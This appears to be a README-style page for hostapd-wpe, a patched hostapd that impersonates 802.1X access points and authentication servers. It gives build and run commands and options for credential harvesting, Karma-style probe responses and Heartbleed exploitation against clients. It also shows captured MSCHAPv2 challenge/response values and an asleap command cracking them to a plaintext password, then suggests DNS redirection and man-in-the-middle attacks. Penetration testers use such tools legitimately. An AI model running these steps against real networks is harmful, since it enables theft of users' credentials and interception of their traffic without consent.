Access Point Impersonation Attacks: hostapd-wpe

hostapd-wpe – Wireless Pwnage Edition –

---

hostapd-wpe is the replacement for FreeRADIUS-WPE . It implements IEEE 802.1x Authenticator and Authentication Server impersonation attacks to obtain client credentials, establish connectivity to the client, and launch other attacks where applicable.

hostapd-wpe supports the following EAP types for impersonation:

1. EAP-FAST/MSCHAPv2 (Phase 0)
2. PEAP/MSCHAPv2
3. EAP-TTLS/MSCHAPv2
4. EAP-TTLS/MSCHAP
5. EAP-TTLS/CHAP
6. EAP-TTLS/PAP

Once impersonation is underway, hostapd-wpe will return an EAP-Success message so that the client believes they are connected to their legitimate authenticator. For 802.11 clients, hostapd-wpe also implements Karma-style gratuitous probe responses – by JoMo-Kun’s patch for older versions of hostapd. hostapd-wpe also implements CVE-2014-0160 (Heartbleed) attacks against vulnerable clients – provided by the Cupid PoC: hostapd-wpe logs all data to stdout and hostapd-wpe.log

The current hostapd-wpe.patch is for: hostapd-2.2.tar.gz

Quick Usage

Once hostapd-wpe.patch is applied, hostapd-wpe.conf will be created at /path/to/build/hostapd/hostapd-wpe.conf. See that file for more information. Note that /path/to/build/hostapd/hostapd-wpe.eap_users
will also be created, and hostapd-wpe is dependent on it.

Basic usage:

hostapd-wpe hostapd-wpe.conf

Credentials will be displayed on the screen and stored in hostapd-wpe.log

Additional WPE command line options are:

• -s – Return EAP-Success messages after credentials are harvested
• -k – Gratuitous probe responses (Karma mode)
• -c – Attempt to exploit CVE-2014-0160 (Cupid mode)

Building

$ git clone https://github.com/OpenSecurityResearch/hostapd-wpe

Ubuntu/Debian/Kali Building

$ apt-get update
$ apt-get install libssl-dev libnl-dev

if you’re using Kali install:

$ apt-get install libssl-dev libnl-genl-3-dev

General

Now apply the hostapd-wpe.patch:

$ git clone https://github.com/OpenSecurityResearch/hostapd-wpe


$ wget http://hostap.epitest.fi/releases/hostapd-2.2.tar.gz
 $ tar -zxf hostapd-2.2.tar.gz
 $ cd hostapd-2.2
 $ patch -p1 < ../hostapd-wpe/hostapd-wpe.patch
 $ cd hostapd

If you’re using Kali 2.0 edit .config file and uncomment:

CONFIG_LIBNL32=y


$ make

Copy the certs directory and scripts from FreeRADIUS to ease that portion of things. You should just be able to:

$ cd ../../hostapd-wpe/certs
$ ./bootstrap

then finally just:

$ cd ../../hostapd-2.2/hostapd
 $ sudo ./hostapd-wpe hostapd-wpe.conf

Running Access Point Impersonation Attacks:

With all of that complete, you can run hostapd. The patch will create a new hostapd-wpe.conf, which you’ll likely need to modify in order to make it work for your attack. Once ready just run

hostapd hostapd-wpe.conf

Look in the output for the username/challenge/response. It’ll be there and in a hostapd-wpe.log file in the directory you ran hostapd from for instance here are the EAP-FAST Phase 0 creds from stdout:

username: jdslfkjs
challenge: bc:87:6c:48:37:d3:92:6e
response: 2d:00:61:59:56:06:02:dd:35:4a:0f:99:c8:6b:e1:fb:a3:04:ca:82:40:92:7c:f0

and as always, we feed them into asleap to crack:

# asleap -C bc:87:6c:48:37:d3:92:6e -R 2d:00:61:59:56:06:02:dd:35:4a:0f:99:c8:6b:e1:fb:a3:04:ca:82:40:92:7c:f0 -W wordlist
 asleap 2.2 - actively recover LEAP/PPTP passwords. <[email protected]>
 hash bytes: b1ca
 NT hash: e614b958df9df49ec094b8730f0bb1ca
 password: bradtest

Alternatively MSCHAPv2 credentials are outputted in john the rippers NETNTLM format.

EAP-Success

Certain EAP types do not require the server to authenticate itself, just to validate the client’s submitted credentials. Since we’re playing the authentication server, that means we can easily just return an EAP-Success message to the client regardless of what they send us. The client is happy because they’ve connected, but unfortunately are unaware that they are connected to an unapproved authenticator.

At this point, the attacker can set up a dhcp server and give the client an IP and then do whatever they’d like (e.g. redirect dns, launch attacks, MiTM, etc…)

MSCHAPv2 protects against this by having the server prove knowledge of the password most supplicants adhere to this policy, but we return EAP-Success just in case.

Karma-Style Probes

This functionality simply waits for an client to send a directed probe, when it does, it assumes that SSID and responds to the client. Only applicable to 802.11 clients.

A note on MSCHAPv2

Microsoft offers something called “Computer Based Authentication”. When a computer joins a domain it is assigned a password. This password is stored on the system and in active directory. We can harvest the MSCHAPv2 response from these systems but its going to take a lifetime to crack. Unless you’re just trying to solve for the hash, and not the actual password 🙂

One other thing to note, if the client returns all zeros, it isnt joined to a domain.

Source && Download